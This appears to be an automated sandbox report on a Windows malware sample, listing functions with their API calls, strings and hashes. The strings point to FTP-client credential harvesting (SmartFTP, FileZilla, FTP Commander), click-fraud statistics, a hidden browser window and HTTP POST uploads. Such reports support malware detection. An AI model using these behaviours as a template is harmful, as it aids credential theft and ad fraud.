Instruction ID: 1689b80d2e7b4165945397198c320d7ed833f5e108bfbebac4dfc06446509e60
Opcode Fuzzy Hash: fbb25ce4fb2133be7a5b5419f21f392892fccd3598b8746d09e161acbdde3d5e
Instruction Fuzzy Hash: 99014CB2A44124B6E62067665E06F9B72AC9B00750F220D7BF905F31C0DABA9D1446AD

Function 00409A99 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 00409B00
SysAllocString.OLEAUT32(?), ref: 00409B0E

Strings

</url>, xrefs: 00409ACC
</title>, xrefs: 00409AA7
<url>, xrefs: 00409AD1
<title>, xrefs: 00409AAC

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: AllocString
String ID: </title>$</url>$<title>$<url>
API String ID: 2525500382-2286408829
Opcode ID: 80cffecdc154f3961d55a3c5b79764381f6831437f998c4d45a612bfa985b786
Instruction ID: e94fff7a9c4556839c155ffec7726d55edf757161a42396596b5093e86978141
Opcode Fuzzy Hash: 80cffecdc154f3961d55a3c5b79764381f6831437f998c4d45a612bfa985b786
Instruction Fuzzy Hash: 4F01DB7564021CA7DB116A55CC41FD637A8BB44799F044077FA04F32C3E978AA0C4BA4

Function 0040A8F9 Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 161sleepmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00406D14: InternetAttemptConnect.WININET(00000000), ref: 00406D18

Sleep.KERNEL32(00002710,?,?,00000000,?,004027BD,?,00000001,00000000,?,?), ref: 0040A91C
Sleep.KERNEL32(00002710), ref: 0040AAC1
GetProcessHeap.KERNEL32(00000000,?), ref: 0040AAE9
HeapFree.KERNEL32(00000000), ref: 0040AAF0

Strings

jstat^rev=%s^code=%s^site=%s^searches=%s^clicks=%s^adver=%s^os=%s, xrefs: 0040A957
0, xrefs: 0040AA5B

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: HeapSleep$AttemptConnectFreeInternetProcess
String ID: 0$jstat^rev=%s^code=%s^site=%s^searches=%s^clicks=%s^adver=%s^os=%s
API String ID: 3713053250-1268808612
Opcode ID: 657de2879450c9422a419422cfac0453d78696076c5176cbe160fbb3b63a9354
Instruction ID: cb73c9a78e41fc00613c6eff30345c36a412e41c8c720ed22b53be089701fd16
Opcode Fuzzy Hash: 657de2879450c9422a419422cfac0453d78696076c5176cbe160fbb3b63a9354
Instruction Fuzzy Hash: 88515072A00218A6CF10EB95DC959DF737DEF44308F40447BF406B7281EB789A958FAA

Function 004083C4 Relevance: 9.1, APIs: 6, Instructions: 61filememoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000007,00000000,00000003,00000000,00000000), ref: 004083DC
GetFileSizeEx.KERNEL32(00000000,?), ref: 004083EF
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 00408417
ReadFile.KERNEL32(?,00000000,?,?,00000000), ref: 0040842F
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00408449
CloseHandle.KERNEL32(?), ref: 00408452

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: File$Virtual$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 1974014688-0
Opcode ID: c2b876117cf5bdd4c26ea99d0d1f22b8a7b68d93f1e59a17f5f06edaaf93f8ba
Instruction ID: 01d1f8b5f38b633e5055412454defe488cd8fa266e80ff04f0611ceb3180ae32
Opcode Fuzzy Hash: c2b876117cf5bdd4c26ea99d0d1f22b8a7b68d93f1e59a17f5f06edaaf93f8ba
Instruction Fuzzy Hash: 47115170500201FBEB305F56CE49E5BBBB9EB90700F10892DF596F21E0EB74A951DB28

Function 00409DF4 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 110networkfileCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,00000050,00000000,00000000,00000003,00000000,00000000,?), ref: 00409EA3
HttpOpenRequestW.WININET(00000000,POST,04400100,00000000,00000000,00000000,04400100,00000000), ref: 00409EC3
HttpSendRequestW.WININET(00000000,00000000,00000000,?,?), ref: 00409EDA
InternetReadFile.WININET(00000000,?,00001000,?), ref: 00409F00

Strings

POST, xrefs: 00409EBD

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: HttpInternetRequest$ConnectFileOpenReadSend
String ID: POST
API String ID: 961146071-1814004025
Opcode ID: b4e0c7fb39f83403c03b5f090b9d6f141d07a3f8a6ffa7c0d9c020d846c222da
Instruction ID: 440a75f1c6cd1a7483e62584c22426b42aa3ce760e55699d8a89a0e8c7b72afb
Opcode Fuzzy Hash: b4e0c7fb39f83403c03b5f090b9d6f141d07a3f8a6ffa7c0d9c020d846c222da
Instruction Fuzzy Hash: B8318E71900119BFDB10DBA4DC84EFE7679EB54349F14087AFA41B62C2D6385E448BA8

Function 00405136 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 0040848F: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?,00000104,00000000,?,?,?,00403796,?,?,00000104,?,00000000), ref: 004084A5

ExpandEnvironmentStringsW.KERNEL32(?,?,00000104,?,?,?,00000008), ref: 004051EB

Strings

personal favorites, xrefs: 00405176
SOFTWARE\smartftp\client 2.0\settings\general\favorites, xrefs: 00405157
folder, xrefs: 00405184
SOFTWARE\smartftp\client 2.0\settings\backup, xrefs: 00405168

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: EnvironmentExpandOpenStrings
String ID: SOFTWARE\smartftp\client 2.0\settings\backup$SOFTWARE\smartftp\client 2.0\settings\general\favorites$folder$personal favorites
API String ID: 3923277744-821743658
Opcode ID: 9c5624b750c48fe949610555ae12c1d7776d2d53775f7ef2d3d96991cebe07cb
Instruction ID: 0454e2dbaba930a1c05830d090df37f1eb9a44f33d61805f8e12f109ce5a2445
Opcode Fuzzy Hash: 9c5624b750c48fe949610555ae12c1d7776d2d53775f7ef2d3d96991cebe07cb
Instruction Fuzzy Hash: 21213E71D00518ABDB10EB95DC41ADFB7BCEB44318F1084B7E514B2181EB389B49CFA9

Function 0040A0B5 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040A0C0
GetModuleHandleW.KERNEL32(00000000,00000000,?,?,0040A16F,00427ED0,00000000,00000001,?,00402806,?), ref: 0040A0CE
CreateWindowExW.USER32(00000000,AtlAxWin,Shell.Explorer,80000000,00000000,00000000,000004B0,00000320,00000000,00000000,00000000), ref: 0040A0F3

Strings

AtlAxWin, xrefs: 0040A0ED
Shell.Explorer, xrefs: 0040A0E8

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: CreateHandleInitializeModuleWindow
String ID: AtlAxWin$Shell.Explorer
API String ID: 950422046-1300462704
Opcode ID: e9b6661190c81bdf072f7cb3f1dc159ab5559684b807faa4a04e62d0e94038f2
Instruction ID: 8885d0d040d3ab3e1edd42f45155a7fe84e7bff231f75e8e802cb7627400a982
Opcode Fuzzy Hash: e9b6661190c81bdf072f7cb3f1dc159ab5559684b807faa4a04e62d0e94038f2
Instruction Fuzzy Hash: 78118F30200200FFD320ABA6CC4CE6B7BBCEFCA711B240579F515EB291D7789801CA65

Function 00407E2B Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 54fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,UniqueNum), ref: 00407E5C
ReadFile.KERNEL32(?,00000064,00000000,00000000), ref: 00407E74

Part of subcall function 00407CD7: GetModuleFileNameW.KERNEL32(00000000,?,00001000,?,00000000,?,00407E44,00000001,UniqueNum), ref: 00407CF6
Part of subcall function 00407CD7: CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000004,00000002,00000000,?,00407E44,00000001,UniqueNum), ref: 00407D48

Strings

UniqueNum, xrefs: 00407E38
x, xrefs: 00407E86
d, xrefs: 00407E7E

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: File$CreateModuleNamePointerRead
String ID: UniqueNum$d$x
API String ID: 1528952607-727609663
Opcode ID: e781d678688d42d7516b702b2ceb6c7207e197dfbc75e9fa72b18e73f6410cb1
Instruction ID: 0df55d11f519ebf6f0451cc58b4543fb7278309a9039aac926228ebb90f40a66
Opcode Fuzzy Hash: e781d678688d42d7516b702b2ceb6c7207e197dfbc75e9fa72b18e73f6410cb1
Instruction Fuzzy Hash: 5311A531D09308AADF109B61DD05BDB3B6AAB00324F218676E612F61E0E7749D44CBAE

Function 0040AB7C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040AB93
CharLowerW.USER32(?), ref: 0040ABA0
GetCommandLineW.KERNEL32 ref: 0040ABC0

Strings

netprotdrvss.exe, xrefs: 0040ABA6
/updatefile3, xrefs: 0040ABC6

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: CharCommandFileLineLowerModuleName
String ID: /updatefile3$netprotdrvss.exe
API String ID: 3118597399-3449771660
Opcode ID: 61670428bc38f3e4eb0be7325e100114f65b6339bc855a7a328cdb887f7470a6
Instruction ID: 1eba2a713c21f7c79877a49aa3ec6850c44e44909145826ab611dd80b60fa5a6
Opcode Fuzzy Hash: 61670428bc38f3e4eb0be7325e100114f65b6339bc855a7a328cdb887f7470a6
Instruction Fuzzy Hash: 41E09B3655021A5AD750FBB1DD07BA633ACFB01705F1049B6A246F10C0EE74D55D4F9D

Function 00409FB1 Relevance: 7.6, APIs: 5, Instructions: 53windowsleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00409FCE
GetTickCount.KERNEL32 ref: 00409FDE
Sleep.KERNEL32(00000064,?,?,0040A442,?,?), ref: 00409FEC
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409FFB
DispatchMessageW.USER32(?), ref: 0040A009

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: CountMessageTick$DispatchPeekSleep
String ID:
API String ID: 4159783438-0
Opcode ID: 45312298ad5970842c5ee584b14830e042aefe59ca6bdbaf3830585a06b866aa
Instruction ID: c0dc46c0c87f7bc49602bd7d2efae9f565a6f52602c3eafe7569a8fa2f6b8eea
Opcode Fuzzy Hash: 45312298ad5970842c5ee584b14830e042aefe59ca6bdbaf3830585a06b866aa
Instruction Fuzzy Hash: 3F118671D103199ECB10AFF5CC8899F7BB9BB45314B144A7AE161F71E0C778CA118B1A

Function 00409F2B Relevance: 7.5, APIs: 5, Instructions: 40windowsleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00409F5B
GetTickCount.KERNEL32 ref: 00409F5F
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409F72
DispatchMessageW.USER32(?), ref: 00409F80
Sleep.KERNEL32(0000012C,?,?,?,?,00000000), ref: 00409F8D

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: CountMessageTick$DispatchPeekSleep
String ID:
API String ID: 4159783438-0
Opcode ID: 57f1528c1cf960ce56ea9ee11f0e0f6d2bf2bfe74b8bc540e63205e3b9b5f8f9
Instruction ID: 2f378a1af0056e794f94b22e0cd08b0b0b180d2e60cd5d2ebdc62f673b65dbb1
Opcode Fuzzy Hash: 57f1528c1cf960ce56ea9ee11f0e0f6d2bf2bfe74b8bc540e63205e3b9b5f8f9
Instruction Fuzzy Hash: D1F0C872D042149BD714B7F2DD09B7D76A89B45714F104A36F551F70D1CA7CCD148A58

Function 00408692 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 152COMMON

Download Yara Rule

APIs

Part of subcall function 0040A469: InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040A535
Part of subcall function 0040A469: InternetSetOptionW.WININET(00000000,00000041,00000000,00000004), ref: 0040A551

Part of subcall function 00409F2B: GetTickCount.KERNEL32 ref: 00409F5B
Part of subcall function 00409F2B: GetTickCount.KERNEL32 ref: 00409F5F
Part of subcall function 00409F2B: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409F72
Part of subcall function 00409F2B: DispatchMessageW.USER32(?), ref: 00409F80
Part of subcall function 00409F2B: Sleep.KERNEL32(0000012C,?,?,?,?,00000000), ref: 00409F8D

CharLowerW.USER32(?,?,?,00423DD4,?,00000001), ref: 00408751
SysFreeString.OLEAUT32(?), ref: 0040875A

Strings

+@, xrefs: 004086A0
http://, xrefs: 00408711

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: CountInternetMessageTick$CharDispatchFreeLowerOpenOptionPeekSleepString
String ID: http://$+@
API String ID: 147727044-3628382792
Opcode ID: 9b23303d6d649a5b53af45e4e478eedb481f7f5b730c679736d56125673815b3
Instruction ID: 305e6509dfdc939f3ffb47eba37a7af79922f54013ecb7534e3961c93d2e4cc1
Opcode Fuzzy Hash: 9b23303d6d649a5b53af45e4e478eedb481f7f5b730c679736d56125673815b3
Instruction Fuzzy Hash: 4E41D5729002199BCF15AF66CD056EFBBB4FF44314F20447FE981B3292DB3889528B99

Function 00407D61 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 81fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,?,UniqueNum,00000000), ref: 00407E09
WriteFile.KERNEL32(00000078,00000064,00000000,00000000), ref: 00407E20

Part of subcall function 00407CD7: GetModuleFileNameW.KERNEL32(00000000,?,00001000,?,00000000,?,00407E44,00000001,UniqueNum), ref: 00407CF6
Part of subcall function 00407CD7: CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000004,00000002,00000000,?,00407E44,00000001,UniqueNum), ref: 00407D48

Strings

UniqueNum, xrefs: 00407D86
x, xrefs: 00407DEF

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: File$CreateModuleNamePointerWrite
String ID: UniqueNum$x
API String ID: 594998759-2399716736
Opcode ID: f714b27ee9317318c4b5ab7fa1cefed36b34d8c85c53bda1d1664fc5573218dc
Instruction ID: 8c5cde1ed6458afa5e70834db293a7f07ca8c6efd1b8e13f0da2095665a79c5a
Opcode Fuzzy Hash: f714b27ee9317318c4b5ab7fa1cefed36b34d8c85c53bda1d1664fc5573218dc
Instruction Fuzzy Hash: F72129329002186BDF04AB74ED49DDF3B69EF44315F104636FA02E71E1E634D951C799

Function 004040E7 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 60COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,00000026,00000000,00000000,?,?,00000000,00000008), ref: 0040413A

Part of subcall function 00408248: FindFirstFileW.KERNEL32(?,?), ref: 00408280
Part of subcall function 00408248: WaitForSingleObject.KERNEL32(?,00000000), ref: 004082A6
Part of subcall function 00408248: PathMatchSpecW.SHLWAPI(0000002E,00000000), ref: 00408310
Part of subcall function 00408248: Sleep.KERNEL32(00000000), ref: 00408377
Part of subcall function 00408248: FindNextFileW.KERNEL32(00000000,00000010), ref: 004083A8
Part of subcall function 00408248: FindClose.KERNEL32(00000000), ref: 004083B9

Part of subcall function 0040BE3A: HeapFree.KERNEL32(00000000,00000000,00403736,?), ref: 0040BE4D

Strings

&, xrefs: 00404110
*filezilla*, xrefs: 004040F6
#, xrefs: 0040411E

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Find$FilePath$CloseFirstFolderFreeHeapMatchNextObjectSingleSleepSpecWait
String ID: #$&$*filezilla*
API String ID: 3438805939-758400021
Opcode ID: b94badfc80f454930b4c4e7711f3c2cdfa3c780a60e708483a1590b16434435c
Instruction ID: af0dd5899ef73ee7264a7e51d90439c8fcf38b6470501fb51340e8e2557856c3
Opcode Fuzzy Hash: b94badfc80f454930b4c4e7711f3c2cdfa3c780a60e708483a1590b16434435c
Instruction Fuzzy Hash: 8E1151B2901128BADB10EA92DC49EDF7BBCEF85304F00407AF605B6080E7385785CBE9

Function 00404A92 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 60COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,00000026,00000000,00000000,?,?,00000000,00000008), ref: 00404AE5

Part of subcall function 00408248: FindFirstFileW.KERNEL32(?,?), ref: 00408280
Part of subcall function 00408248: WaitForSingleObject.KERNEL32(?,00000000), ref: 004082A6
Part of subcall function 00408248: PathMatchSpecW.SHLWAPI(0000002E,00000000), ref: 00408310
Part of subcall function 00408248: Sleep.KERNEL32(00000000), ref: 00408377
Part of subcall function 00408248: FindNextFileW.KERNEL32(00000000,00000010), ref: 004083A8
Part of subcall function 00408248: FindClose.KERNEL32(00000000), ref: 004083B9

Part of subcall function 0040BE3A: HeapFree.KERNEL32(00000000,00000000,00403736,?), ref: 0040BE4D

Strings

&, xrefs: 00404ABB
#, xrefs: 00404AC9
ftp*commander*, xrefs: 00404AA1

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Find$FilePath$CloseFirstFolderFreeHeapMatchNextObjectSingleSleepSpecWait
String ID: #$&$ftp*commander*
API String ID: 3438805939-1149875651
Opcode ID: 5b274e86ecfa94f023ab10c4bc64147d8c024bc00b4ff254a4a9ffef51946c32
Instruction ID: 4761086559ade70d73b1403ca51e5d3bc462c500c99379e4fd01d7d946a964d6
Opcode Fuzzy Hash: 5b274e86ecfa94f023ab10c4bc64147d8c024bc00b4ff254a4a9ffef51946c32
Instruction Fuzzy Hash: B61121B2901118BADB10AA92DC49EDF7F7CEF85704F00407AF609B6180E7799785CBA9

Function 00409445 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 51COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 004094A9
SysFreeString.OLEAUT32(?), ref: 004094AE

Strings

_blank, xrefs: 0040948E
an.yandex.ru/count, xrefs: 00409478

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: FreeString
String ID: _blank$an.yandex.ru/count
API String ID: 3341692771-25359924
Opcode ID: 220b2bda2c3fa2e17afd3876e6e131a3eeacb4788efdd8cad2f7b8a0937d0ae5
Instruction ID: 1eacecae91598e8b756cf85833a4a3bbf756f1dfdfc5fa02fd6c22f827bf3b29
Opcode Fuzzy Hash: 220b2bda2c3fa2e17afd3876e6e131a3eeacb4788efdd8cad2f7b8a0937d0ae5
Instruction Fuzzy Hash: 28015A35204114BBDB109FA6CD05D9B77A8EF85324724443BBC15E7291E779EE02CA69

Function 00407CD7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00001000,?,00000000,?,00407E44,00000001,UniqueNum), ref: 00407CF6
GetCurrentDirectoryW.KERNEL32(00001000,?,?,00407E44,00000001,UniqueNum), ref: 00407D15
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000004,00000002,00000000,?,00407E44,00000001,UniqueNum), ref: 00407D48

Strings

\merocz.xc6, xrefs: 00407D1B

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: File$CreateCurrentDirectoryModuleName
String ID: \merocz.xc6
API String ID: 3818821825-505599559
Opcode ID: 958115370d9fa0fe1f61a9c021a4e84f793f7b6e6975f338f53fe808b3c86dcf
Instruction ID: bb9f2ddab4bab237696810683399403c99d26191ea9c434de7a02090ea9b9a12
Opcode Fuzzy Hash: 958115370d9fa0fe1f61a9c021a4e84f793f7b6e6975f338f53fe808b3c86dcf
Instruction Fuzzy Hash: DA01A231904224ABE7309B569C49FEB77ADEF85710F00447FB505F20D1D6749A80CAAA

Function 00406C77 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 26registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE\Microsoft\Internet Explorer,00000000,00000001,00000000,?,?,00402C77), ref: 00406C91

Strings

Build, xrefs: 00406CA6
SOFTWARE\Microsoft\Internet Explorer, xrefs: 00406C87
w,@, xrefs: 00406CA0

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
